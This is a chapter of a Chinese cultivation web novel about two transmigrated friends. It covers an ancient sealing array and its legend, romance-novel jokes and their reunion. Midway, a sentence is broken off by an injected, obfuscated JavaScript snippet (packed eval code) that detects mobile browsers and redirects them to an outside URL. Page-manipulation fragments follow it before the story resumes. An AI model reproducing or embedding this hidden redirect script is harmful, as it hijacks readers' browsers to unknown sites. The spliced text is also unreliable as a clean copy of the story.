“也是巧了,那场劈死玄明的雷劫就是他的渡劫期雷劫,我遭了点罪也算是运气好直接摘了桃子。” 越明商掸了掸身上不存在的尘埃,手肘不满地戳了戳身边显然走神的连舒:“你看什么呢这么入神?” 连舒眯着眼睛,好似怀疑自己看错了般,再三确认,才抬手指向从云雾中延伸出来的巨物:“那是……锁链吗?” 层层云雾下,自八个不同方位都射出一条壮如巨蟒的黑色铁链,而群峰之中,一座稍矮的山峦被围困中间,正是八条锁链交汇的中心。 以连舒的目力,看不清自其他主峰延伸的锁链细节,只是其中之一是从雪乌峰中段冒出,而他眯眼辨别,恰好能看见横径十丈有余的铁链折射出摄魂心魄的冷芒。 “那是囚神阵。”越明商抬手,底下的云层如摩西分海般顷刻朝两侧退却。连舒看得更加清楚,玄铁之上,有隐隐的金色流光闪动,尽管隔着一段距离,他也被眼前非人力可及的壮观景象所震撼。 “万年间,曾有两人最接近飞升,一个是巽衍宗初代宗主殷玉真人,一个是妖皇宰耀。”越明商叹了口气,口吻也不似刚才的没心没肺,带着和他不符的沉重,“妖族啊,可真是……千年前修真界爆发了人族和妖族的大战,那时殷玉真人修为只差小半境界便能突破飞升,而宰耀也紧随其后,渡劫小圆满。” “那一战,渡劫修士陨落六人,化神修士神魂俱灭三十有四,那场战斗元婴及以下的修士连埋骨于此的资格也没有,最后人妖两族只剩下殷玉真人和妖皇宰耀还有力气接着打。” “殷玉真人和宰耀打了三年不带喘口气的,妖族强盛,天道也对他们及其偏爱。妖兽启智、植物开灵,便都能称妖族。宰耀打了三年,眼见要被殷玉真人斩杀当场,却不料他竟临死前悟道——” 越明商小吸口气:“从渡劫小圆满一跨三小境界,气息翻滚,灵气暴涨,紧跟着就是飞升的雷劫——” 连舒仿若在听一本小说中最高潮的部分。 “好在,殷玉真人置之死地而后生,飞升的雷劫也到了。当时的场面还被后人存于玉简,只是鲜少有人能有实力打开,就是我——哦,原来的玄明,只是打开一丝缝隙,被拓印下来的雷劫和两人暴虐的灵力就让他吐出一口血沫,好险生出心魔来。” “对了——”越明商不合时宜地转了话头道,看着连舒的目光透着一股清澈的愚蠢,“说到心魔,我也不知道只看看怎么就能生出心魔,按理说他都是修真界金字塔上那一小撮人,道心稳固,怎么会因为那一眼就有了心魔。” 他指了指自己的脑袋:“还因此封印了那之后一小段的记忆,连舒,咱们可不能学他。” 连舒从远处的玄铁上收回注意,第一眼落在他的眼眸中,旋即被他耳后的黄色小花吸引。 老黄瓜刷绿漆,刷得还挺好看。 “囚神阵和你说的有什么联系?”一边问着,连舒的目光忍不住多次停驻在那张装嫩的脸上,或许生前过得不错,这种耳边戴花的幼稚作态放在他身上竟不显得别扭。 越明商的性格和他认知当中毫无区别,没被冰冷又残酷的现实所磋磨,让他只是与其相处片刻就不禁心生感慨,同样的时光,在自己身上就变成剥去他青春时恣意的屠刀。 “那关系可大了。”越明商见他一直盯着自己的耳边,以为他也喜欢,想想,“忍痛”地取下递去,“喜欢啊?想不到你现在好这口。” 路边的野花弱小又灿烂,光是看着它就觉得春意盎然。连舒盯着他的指尖半晌,脸上毫无波澜地接过,下一秒又再自然不过地替他插在玉冠上:“接着说,什么关系?” “……”越明商欲抬手去碰一碰头顶,可看着一心只有后文的连舒,心里冷哼一声收回手,“两位只差雷劫便能飞升的大能打起来,就不是渡劫期修士能比拟的。随意的招式让周遭千里都排山倒海死伤无数。殷玉真人自知再打下去整个阳歧大陆都要遭受重创,但也心知一时半会儿他杀不了宰耀,宰耀也奈他不得。于是殷玉真人拼劲全力,舍了飞升欲将妖皇封印在此。” “当时两人的灵力拼得周围的空间破碎、混乱,好在殷玉真人得偿所愿,用最后一口精血画出囚神阵,也就是我们面前的阵法。”越明商用下巴点了点,嬉笑一句,“放在我们那时代,收个一人一百的门票不过分吧?” 浑厚的灵力早已在岁月的冲刷中被人为剥离了暴虐,只剩下沉重的压迫感,连舒离得远,但如今的身体也还是在阵法的余威下喘不过气。 他摸了摸心口缓了会儿,只觉得梦回高中偷摸看小说的日子:“所以殷玉真人和那个妖皇都在阵法下?死了吗?” “只是封印,但是囚神阵会消磨两人的神魂,如今是死是活并不好探究,大概率还是活着。连殷玉真人都难杀的妖皇,只是一个阵法,又不过区区一千年,还不够,或许万年后,才能身死魂消……” 连舒面色凝重,思忖道:“我们穿越会不会不是单纯的穿越?你对姜青、殷玉或者刚才说的妖皇有印象吗?会不会是穿书了?” 越明商:“没什么印象。” 连舒也遗憾摇头,他醒来就排除了这个选项,还以为从越明商那能得出不一样的回答:“我也没印象。” 越明商心大:“怕什么?就算是穿书,那穿书的我们不就是新主角,都是主角了还怕什么?” 连舒白了他一眼:“不怕不行啊,万一不是起点流呢?” “……”越明商还没反应过来,“你什么意思?” 连舒眉宇间从刚才的凝重逐渐转化为戏谑:“除了起点流小说你还看过其他网站吗?” “不是,涉及到修真不是‘我命由我不由天’还能是什么?”越明商没读懂他的意思,想了想,豁然道,“言情!言情小说!谈恋爱的!” “那更不怕了,谈个恋爱还能有多吓人?比动不动死人的起点流好太多了!” 连舒忍不住为他的天真笑出声:“就怕是在海棠谈恋爱的。” 越明商:“海棠?也是小说网站?海棠的修真小说讲什么的?” 连舒视线上移停留在那朵迎风招展的小黄花上,又看看底下那张俊逸的脸,笑意微敛。 自己原意不过是打趣人随口一提,可这念头甫一升起,越想越是这么回事,师尊弟子,多暧昧的身份。还有这朵花,什么颜色不好,粉的白的绿的红的……偏偏就是黄色的。 这算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438595|169322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不算命运对他的好意提醒? 连舒后退半步,以审视的目光将一头雾水的越明商从头到脚地打量完,而后上前强制性给人拢了拢衣襟,又取下被他插在发冠上的野花,随意丟掷在脚下。 越明商:“??” 连舒正色拍拍他的肩膀:“以后衣服多穿两件再出门。” 给人整理完又看看自己身上,整了整衣袖领口才心安不少:“我也要多穿几件才行。” 越明商自动忽略了他的自夸,只问:“你还没回答我,海棠的修真小说讲什么的?” 连舒叹然:“故事种类那可就太多了。” 说起这种事,他脸上也无一丝羞赧,面不改色补充:“主要讲两人或者更多人在室内、室外,有外人、无外人的条件下进行大自然的亲密活动。” 越明商:“……说人话。” 连舒:“床上那点事,当然,不在床上也行。” 越明商:“……” 他疑惑的表情在连舒正经的神色下变得欲言又止:“言情?” 连舒半垂眼,轻快地笑了声:“男男的也有,越明商,你思想狭隘了。” “……”越明商猛地闭上眼睛深吸一口气,这口气憋得有些狠,耳垂染上一点红意,“宽哥,看不出来,知识量这么广。” 连舒烦恼地摇摇头:“如果可以,我也不想。” 年少气盛,陡然惊觉自己对越明商的感情,连舒说不迷茫那是假的,那时候的自己无法对外人诉说,又要自己捋清思绪,只能借助网上的信息。 那段时间的手机屏幕都要被他点出洞来,从最基础的性向判定到最后劝说自己不要钻牛角尖,再然后是探索新世界。影像对他而言冲击太强烈,于是连舒退而求其次选择了文字。 越明商说他知识量广,他心里笑笑,不仅知识量广,姿势量也广。 当初的他也是第一次知道,文字也能被玩得这么花。 越明商憋的气吐出来:“咱们能换个稍微正经点的话题吗?你这样,我们以前又是那种关系,我会觉得你是在勾引我。” “……”这次换连舒沉默良久良久,他表情不变,但细看瞳孔有些震动,似乎一时之间有千言万语要讲,可最后的最后,只嫌弃地从鼻腔中蹦出一声嫌弃,“嘁!你敢说我都不敢听。” 料峭春风,远处有隐隐钟鼓之声传来。 连舒远眺振翅的灵雀,视线随着它于林中飞旋,好似自己醒来后晃动摇曳的灵魂在这一刻找到了能短暂栖身的枝丫。此时前路虽然未明,他不知晓未来是好是坏,但这瞬间,他暗自庆幸陌生的世界里,自己并不是唯一的浮萍。 “虽然已经过去几天……”连舒忽然开口,刚才僵持的氛围猝然发生改变。 越明商偏过头,就见连舒的唇角多了丝他熟悉的弧度。 嚣张邪气,肆意又张狂。 连舒对着他抬起手,轻笑道:“但总觉得还是缺上一句,好久不见了,越明商。” 越明商一怔,忽地有那么几息表情不太自然,他反应极快地垂眸,盯着等待握住的手,以往的少年情动、略带稚嫩羞涩的情愫在这一声好久不见里一一回闪,快如他曾体验过的走马灯。 在活着的时刻,他无一不幻想两人会在什么情况下见面,见了面谁先开口,讲的第一句话又是什么? 但这一幕真的发生在眼前,他却陡然惊觉自己并没有准备好。 鸟鸣响彻天地,回音于山谷徘徊,脚边无根的黄色野花被风卷送至云雾遮掩的远方。 越明商眨了眨眼,忽地释然朗笑,一把握住连舒的手上下晃动—— 好久不见。